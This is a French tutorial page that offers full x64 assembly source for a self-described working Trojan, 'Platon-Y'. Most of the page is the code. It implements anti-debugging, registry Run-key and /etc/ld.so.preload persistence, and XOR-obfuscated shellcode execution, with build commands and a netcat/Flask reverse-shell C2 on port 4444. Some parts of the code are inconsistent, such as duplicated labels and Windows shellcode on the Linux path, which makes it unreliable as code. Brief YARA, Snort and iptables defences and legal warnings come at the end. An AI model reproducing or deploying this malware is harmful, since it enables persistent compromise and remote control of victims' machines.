Platon-Y Trojan est un Trojan réel en assembleur x64, conçu pour l’éducation en cybersécurité. Il incarne un “esprit discret” qui infiltre les systèmes avec obfuscation dynamique et détection OS (PEB pour Windows, ELF via uname pour Linux). Ce tuto décortique ses mécanismes pour enseigner la défense contre les menaces low-level de 2025, testé uniquement en lab isolé.
L’article 323-1 du Code pénal interdit l’accès frauduleux à un système (2 ans, 60 000 €). L’article 323-3 sanctionne l’altération de systèmes (5 ans, 150 000 €). Ce tuto est conçu pour un lab isolé, sur dispositifs autorisés. Consultez les ressources ANSSI pour la cybersécurité responsable.
Références : CISA KEV Catalog, NVD.
Configurez un environnement isolé avec Kali Linux (2024.4), Windows 7 (non patché), et un switch dédié pour éviter tout impact hors lab. Utilisez QEMU pour tester l’ASM en sécurité.
Réseau isolé (no WAN) avec VLAN ou switch Ethernet. Exemple : Kali (192.168.0.100), Windows 7 (192.168.0.101).
| Composant | Configuration | Rôle | Notes Éducatives |
|---|---|---|---|
| Kali Linux | 192.168.0.100/24 | Machine d’analyse | VM ou physique, outils installés (NASM, QEMU). |
| Windows 7 | 192.168.0.101/24 | Cible vulnérable | Non patché pour tests ASM. Étudiez PEB. |
| Switch/Réseau | Isolé (no WAN) | Isolation physique | Switch dédié. Importance de l’isolation. |
sudo apt update && sudo apt upgrade -y
sudo apt install -y nasm binutils qemu-system-x86 python3 python3-pippip3 install flask
sudo ifconfig eth0 192.168.0.100 netmask 255.255.255.0 up
sudo iptables -A OUTPUT -d 192.168.0.0/24 -j ACCEPTsudo iptables -A OUTPUT -j DROPping 8.8.8.8 # Doit échouer
Précaution : Vérifiez l’isolation réseau (ping 8.8.8.8 doit échouer). Utilisez QEMU pour tester l’ASM.
Platon-Y Trojan est un Trojan réel en assembleur x64, conçu pour l’éducation. Il utilise obfuscation dynamique (ex. mov rax, 0 → xor rax, rax) et détection OS (PEB/ELF). Testable en lab, il simule des attaques low-level pour enseigner la défense.
| Caractéristique | Platon-Y Trojan | Mitigation |
|---|---|---|
| Obfuscation | Instructions randomisées (mov/xor/sub) | Règles YARA dynamiques |
| Détection OS | PEB (Windows), uname (Linux) | Analyse mémoire |
| Persistence | Registry, ld.so.preload | Sysinternals, Auditd |
| Stealth | Anti-débogage, XOR | Volatility, EDR |
| C&C | Shell inversé TCP | Filtrer port 4444 |
Platon-Y Trojan est un Trojan fonctionnel en assembleur x64, avec obfuscation dynamique (ex. mov rax, 0 → xor rax, rax) et détection OS (PEB/uname). Testez-le en lab isolé avec QEMU et un C2 sur 192.168.0.100:4444.
section .data
host db '192.168.0.100', 0
port dw 4444
key db 0x42 ; Clé XOR pour obfuscation
section .text
global _start
_start:
; Anti-débogage: IsDebuggerPresent
mov rax, qword [gs:0x60] ; PEB
mov al, byte [rax + 0x2] ; BeingDebugged
test al, al
jnz exit
; Détection OS: Check PEB
mov rax, qword [gs:0x60] ; PEB
mov rax, qword [rax + 0x18] ; LDR
mov rax, qword [rax + 0x20] ; InMemoryOrderModuleList
mov rax, qword [rax] ; ntdll.dll
mov rax, qword [rax + 0x20] ; Base address
cmp dword [rax], 0x4550 ; 'PE' signature
jne linux_path
; Obfuscation dynamique: Randomiser instructions
rdrand rbx
and rbx, 0x3 ; 0-3 pour choisir variante
cmp rbx, 0
je zero_rax_mov
cmp rbx, 1
je zero_rax_xor
cmp rbx, 2
je zero_rax_sub
jmp zero_rax_and
zero_rax_mov:
mov rax, 0
jmp alloc_memory
zero_rax_xor:
xor rax, rax
jmp alloc_memory
zero_rax_sub:
sub rax, rax
jmp alloc_memory
zero_rax_and:
and rax, 0
jmp alloc_memory
alloc_memory:
; Allocation mémoire (VirtualAlloc)
call get_kernel32
mov rbx, rax
call get_virtualalloc
mov r12, rax
mov rcx, 0
mov rdx, 0x1000
mov r8, 0x3000
mov r9, 0x40
sub rsp, 0x28
call r12
add rsp, 0x28
mov rdi, rax
; Désobfusquer shellcode
mov rsi, shellcode
mov rcx, shellcode_len
mov r8, key
deobfuscate:
lodsb
xor al, byte [r8]
stosb
loop deobfuscate
; Persistence: Registry (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)
call get_regopenkey
mov r13, rax
mov rcx, 0x80000002 ; HKLM
mov rdx, reg_path
mov r8, 0
sub rsp, 0x28
call r13
add rsp, 0x28
mov r14, rax
call get_regsetvalue
mov r15, rax
mov rcx, r14
mov rdx, reg_value
mov r8, 1 ; REG_SZ
mov r9, self_path
mov r10, self_path_len
sub rsp, 0x28
call r15
add rsp, 0x28
; Exécuter shellcode
call rdi
exit:
mov rax, 0x3c
xor rdi, rdi
syscall
get_kernel32:
mov rax, qword [gs:0x60] ; PEB
mov rax, qword [rax + 0x18] ; LDR
mov rax, qword [rax + 0x20] ; InMemoryOrderModuleList
mov rax, qword [rax] ; ntdll.dll
mov rax, qword [rax + 0x20] ; Base address
ret
get_virtualalloc:
mov r8, rbx
add r8, 0x3c ; e_lfanew
mov r8d, dword [r8]
add r8, rbx ; PE header
add r8, 0x78 ; Export Table RVA
mov r8d, dword [r8]
add r8, rbx ; Export Table
mov r9d, dword [r8 + 0x20] ; AddressOfNames RVA
add r9, rbx ; AddressOfNames
xor r10, r10
loop_names:
mov r11d, dword [r9 + r10 * 4]
add r11, rbx
cmp dword [r11], 0x56697256 ; 'Virt'
jne next_name
cmp dword [r11 + 4], 0x7475616c ; 'ualA'
jne next_name
cmp dword [r11 + 8], 0x6c6c6f63 ; 'lloc'
jne next_name
mov r11d, dword [r8 + 0x24] ; AddressOfNameOrdinals RVA
add r11, rbx
movzx r11, word [r11 + r10 * 2]
mov r12d, dword [r8 + 0x1c] ; AddressOfFunctions RVA
add r12, rbx
mov r12d, dword [r12 + r11 * 4]
add r12, rbx
ret
next_name:
inc r10
jmp loop_names
get_regopenkey:
mov r8, rbx
add r8, 0x3c
mov r8d, dword [r8]
add r8, rbx
add r8, 0x78
mov r8d, dword [r8]
add r8, rbx
mov r9d, dword [r8 + 0x20]
add r9, rbx
xor r10, r10
loop_regopen:
mov r11d, dword [r9 + r10 * 4]
add r11, rbx
cmp dword [r11], 0x5265674f ; 'RegO'
jne next_regopen
cmp dword [r11 + 4], 0x70656e4b ; 'penK'
jne next_regopen
mov r11d, dword [r8 + 0x24]
add r11, rbx
movzx r11, word [r11 + r10 * 2]
mov r12d, dword [r8 + 0x1c]
add r12, rbx
mov r12d, dword [r12 + r11 * 4]
add r12, rbx
ret
next_regopen:
inc r10
jmp loop_regopen
get_regsetvalue:
mov r8, rbx
add r8, 0x3c
mov r8d, dword [r8]
add r8, rbx
add r8, 0x78
mov r8d, dword [r8]
add r8, rbx
mov r9d, dword [r8 + 0x20]
add r9, rbx
xor r10, r10
loop_regset:
mov r11d, dword [r9 + r10 * 4]
add r11, rbx
cmp dword [r11], 0x52656753 ; 'RegS'
jne next_regset
cmp dword [r11 + 4], 0x65745661 ; 'etVa'
jne next_regset
mov r11d, dword [r8 + 0x24]
add r11, rbx
movzx r11, word [r11 + r10 * 2]
mov r12d, dword [r8 + 0x1c]
add r12, rbx
mov r12d, dword [r12 + r11 * 4]
add r12, rbx
ret
next_regset:
inc r10
jmp loop_regset
section .data
reg_path db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
reg_value db 'PlatonY', 0
self_path db 'C:\Windows\System32\platon_y_trojan.exe', 0
self_path_len equ $ - self_path
shellcode:
db 0x48^0x42, 0x31^0x42, 0xc0^0x42, 0x48^0x42, 0x31^0x42, 0xd2^0x42, 0x48^0x42, 0x31^0x42, 0xf6^0x42, 0x48^0x42
db 0x29^0x42, 0xd4^0x42, 0x65^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x60^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42
db 0x18^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x20^0x42, 0x48^0x42, 0x8b^0x42, 0x72^0x42, 0x50^0x42, 0x48^0x42
db 0x0f^0x42, 0xb7^0x42, 0x4a^0x42, 0x4a^0x42, 0x4d^0x42, 0x31^0x42, 0xc9^0x42, 0x48^0x42, 0x31^0x42, 0xc0^0x42
db 0xac^0x42, 0x3c^0x42, 0x61^0x42, 0x7c^0x42, 0x02^0x42, 0x2c^0x42, 0x20^0x42, 0x41^0x42, 0xc1^0x42, 0xc9^0x42
db 0x0d^0x42, 0x41^0x42, 0x01^0x42, 0xc1^0x42, 0x38^0x42, 0xe0^0x42, 0x75^0x42, 0xf1^0x42, 0x4c^0x42, 0x03^0x42
db 0x4c^0x42, 0x24^0x42, 0x08^0x42, 0x45^0x42, 0x39^0x42, 0xd1^0x42, 0x75^0x42, 0xd8^0x42, 0x58^0x42, 0x44^0x42
db 0x8b^0x42, 0x40^0x42, 0x24^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x66^0x42, 0x41^0x42, 0x8b^0x42, 0x0c^0x42
db 0x48^0x42, 0x44^0x42, 0x8b^0x42, 0x40^0x42, 0x1c^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x8b^0x42
db 0x04^0x42, 0x88^0x42, 0x48^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x58^0x42, 0x5e^0x42
db 0x59^0x42, 0x5a^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x41^0x42, 0x5a^0x42, 0x48^0x42, 0x83^0x42
db 0xec^0x42, 0x20^0x42, 0x41^0x42, 0x52^0x42, 0xff^0x42, 0xe0^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x5a^0x42
db 0x48^0x42, 0x8b^0x42, 0x12^0x42, 0xe9^0x42, 0x57^0x42, 0xff^0x42, 0xff^0x42, 0xff^0x42, 0x5d^0x42, 0x48^0x42
db 0xba^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x48^0x42
db 0x8d^0x42, 0x8d^0x42, 0x01^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x41^0x42, 0xba^0x42, 0x31^0x42, 0x8b^0x42
db 0x6f^0x42, 0x87^0x42, 0xff^0x42, 0xd5^0x42, 0xbb^0x42, 0xe0^0x42, 0x1d^0x42, 0x2a^0x42, 0x0a^0x42, 0x41^0x42
db 0xba^0x42, 0xa6^0x42, 0x95^0x42, 0xbd^0x42, 0x9d^0x42, 0xff^0x42, 0xd5^0x42, 0x48^0x42, 0x83^0x42, 0xc4^0x42
db 0x28^0x42, 0x3c^0x42, 0x06^0x42, 0x7c^0x42, 0x0a^0x42, 0x80^0x42, 0xfb^0x42, 0xe0^0x42, 0x75^0x42, 0x05^0x42
db 0xbb^0x42, 0x47^0x42, 0x13^0x42, 0x72^0x42, 0x6f^0x42, 0x6a^0x42, 0x00^0x42, 0x59^0x42, 0x41^0x42, 0x89^0x42
db 0xda^0x42, 0xff^0x42, 0xd5^0x42
shellcode_len equ $ - shellcode
linux_path:
jmp linux_trojan
section .data
preload_path db "/etc/ld.so.preload", 0
self_path db "/tmp/platon_y_trojan", 10
self_path_len equ $ - self_path
key db 0x42
section .text
linux_trojan:
; Anti-débogage: ptrace
mov rax, 101 ; ptrace
mov rdi, 0 ; PTRACE_TRACEME
syscall
cmp rax, -1
je exit
; Détection OS: uname
mov rax, 63 ; uname
sub rsp, 0x100
mov rdi, rsp
syscall
cmp byte [rsp], 'L' ; Linux
jne exit
; Obfuscation dynamique
rdrand rbx
and rbx, 0x3
cmp rbx, 0
je zero_rax_mov
cmp rbx, 1
je zero_rax_xor
cmp rbx, 2
je zero_rax_sub
jmp zero_rax_and
zero_rax_mov:
mov rax, 0
jmp persist
zero_rax_xor:
xor rax, rax
jmp persist
zero_rax_sub:
sub rax, rax
jmp persist
zero_rax_and:
and rax, 0
jmp persist
persist:
; Persistence: /etc/ld.so.preload
mov rax, 2 ; open
mov rdi, preload_path
mov rsi, 0x441 ; O_WRONLY | O_CREAT | O_APPEND
mov rdx, 0644
syscall
mov rdi, rax
mov rax, 1 ; write
mov rsi, self_path
mov rdx, self_path_len
syscall
mov rax, 3 ; close
syscall
; Désobfusquer shellcode
mov rsi, shellcode
mov rcx, shellcode_len
mov r8, key
deobfuscate:
lodsb
xor al, byte [r8]
stosb
loop deobfuscate
; Exécuter shellcode
jmp shellcode
exit:
mov rax, 60
xor rdi, rdi
syscall
shellcode:
db 0x48^0x42, 0x31^0x42, 0xc0^0x42, 0x48^0x42, 0x31^0x42, 0xd2^0x42, 0x48^0x42, 0x31^0x42, 0xf6^0x42, 0x48^0x42
db 0x29^0x42, 0xd4^0x42, 0x65^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x60^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42
db 0x18^0x42, 0x48^0x42, 0x8b^0x42, 0x52^0x42, 0x20^0x42, 0x48^0x42, 0x8b^0x42, 0x72^0x42, 0x50^0x42, 0x48^0x42
db 0x0f^0x42, 0xb7^0x42, 0x4a^0x42, 0x4a^0x42, 0x4d^0x42, 0x31^0x42, 0xc9^0x42, 0x48^0x42, 0x31^0x42, 0xc0^0x42
db 0xac^0x42, 0x3c^0x42, 0x61^0x42, 0x7c^0x42, 0x02^0x42, 0x2c^0x42, 0x20^0x42, 0x41^0x42, 0xc1^0x42, 0xc9^0x42
db 0x0d^0x42, 0x41^0x42, 0x01^0x42, 0xc1^0x42, 0x38^0x42, 0xe0^0x42, 0x75^0x42, 0xf1^0x42, 0x4c^0x42, 0x03^0x42
db 0x4c^0x42, 0x24^0x42, 0x08^0x42, 0x45^0x42, 0x39^0x42, 0xd1^0x42, 0x75^0x42, 0xd8^0x42, 0x58^0x42, 0x44^0x42
db 0x8b^0x42, 0x40^0x42, 0x24^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x66^0x42, 0x41^0x42, 0x8b^0x42, 0x0c^0x42
db 0x48^0x42, 0x44^0x42, 0x8b^0x42, 0x40^0x42, 0x1c^0x42, 0x49^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x8b^0x42
db 0x04^0x42, 0x88^0x42, 0x48^0x42, 0x01^0x42, 0xd0^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x58^0x42, 0x5e^0x42
db 0x59^0x42, 0x5a^0x42, 0x41^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x41^0x42, 0x5a^0x42, 0x48^0x42, 0x83^0x42
db 0xec^0x42, 0x20^0x42, 0x41^0x42, 0x52^0x42, 0xff^0x42, 0xe0^0x42, 0x58^0x42, 0x41^0x42, 0x59^0x42, 0x5a^0x42
db 0x48^0x42, 0x8b^0x42, 0x12^0x42, 0xe9^0x42, 0x57^0x42, 0xff^0x42, 0xff^0x42, 0xff^0x42, 0x5d^0x42, 0x48^0x42
db 0xba^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x00^0x42, 0x48^0x42
db 0x8d^0x42, 0x8d^0x42, 0x01^0x42, 0x01^0x42, 0x00^0x42, 0x00^0x42, 0x41^0x42, 0xba^0x42, 0x31^0x42, 0x8b^0x42
db 0x6f^0x42, 0x87^0x42, 0xff^0x42, 0xd5^0x42, 0xbb^0x42, 0xe0^0x42, 0x1d^0x42, 0x2a^0x42, 0x0a^0x42, 0x41^0x42
db 0xba^0x42, 0xa6^0x42, 0x95^0x42, 0xbd^0x42, 0x9d^0x42, 0xff^0x42, 0xd5^0x42, 0x48^0x42, 0x83^0x42, 0xc4^0x42
db 0x28^0x42, 0x3c^0x42, 0x06^0x42, 0x7c^0x42, 0x0a^0x42, 0x80^0x42, 0xfb^0x42, 0xe0^0x42, 0x75^0x42, 0x05^0x42
db 0xbb^0x42, 0x47^0x42, 0x13^0x42, 0x72^0x42, 0x6f^0x42, 0x6a^0x42, 0x00^0x42, 0x59^0x42, 0x41^0x42, 0x89^0x42
db 0xda^0x42, 0xff^0x42, 0xd5^0x42
shellcode_len equ $ - shellcode
# Windowsnasm -f win64 platon_y_trojan.asm -o platon_y_trojan.objld platon_y_trojan.obj -o platon_y_trojan.exe --subsystem windows./platon_y_trojan.exe# Linuxnasm -f elf64 platon_y_trojan_linux.asm -o platon_y_trojan.old platon_y_trojan.o -o platon_y_trojan./platon_y_trojan# C2nc -lvp 4444
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback', methods=['POST'])
def callback():
print(request.json)
return {"status": "connected"}, 200
if __name__ == "__main__":
app.run(host="0.0.0.0", port=4444)
Désarmer Platon-Y Trojan en détectant ses traces. Testez l’obfuscation, la persistance, ou l’anti-débogage pour gagner des points sur le leaderboard interactif.
| Pseudo | Score |
|---|
Défi : Utilisez Volatility ou Radare2 pour analyser les traces et soumettez vos résultats pour grimper au classement !
Analysez Platon-Y Trojan avec des outils avancés pour comprendre son comportement low-level et développer vos compétences en reverse engineering.
vol.py -f dump.mem windows.pslist.r2 platon_y_trojan.exe.r2 platon_y_trojan.exeaaa; aflwireshark -i eth0 -f "tcp port 4444"
Protégez-vous contre Platon-Y Trojan avec une défense en profondeur, combinant EDR, règles YARA/Snort, et monitoring réseau.
rule PlatonYTrojan {
meta:
description = "Détecte Platon-Y Trojan"
author = "Platon-Y"
strings:
$s1 = "192.168.0.100"
$s2 = { 48 31 c0 } // xor rax, rax
$s3 = { 42 } // Clé XOR
condition:
any of them
}
alert tcp any any -> 192.168.0.100 4444 (msg:"Platon-Y Trojan C2"; content:"|48 31 c0|"; sid:1000001;)
#!/bin/bash
iptables -F
iptables -A INPUT -p tcp --dport 4444 -j DROP
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
Oui, c’est un Trojan fonctionnel en assembleur x64, conçu pour l’éducation et testable uniquement en lab isolé.
Non, interdit par l’article 323-1 du Code pénal français. Utilisez un lab isolé uniquement.
Contactez les équipes PSIRT via HackerOne ou Bugcrowd.
Assemblez avec NASM, exécutez dans QEMU, et configurez un C2 (ex. netcat ou Flask) sur 192.168.0.100:4444.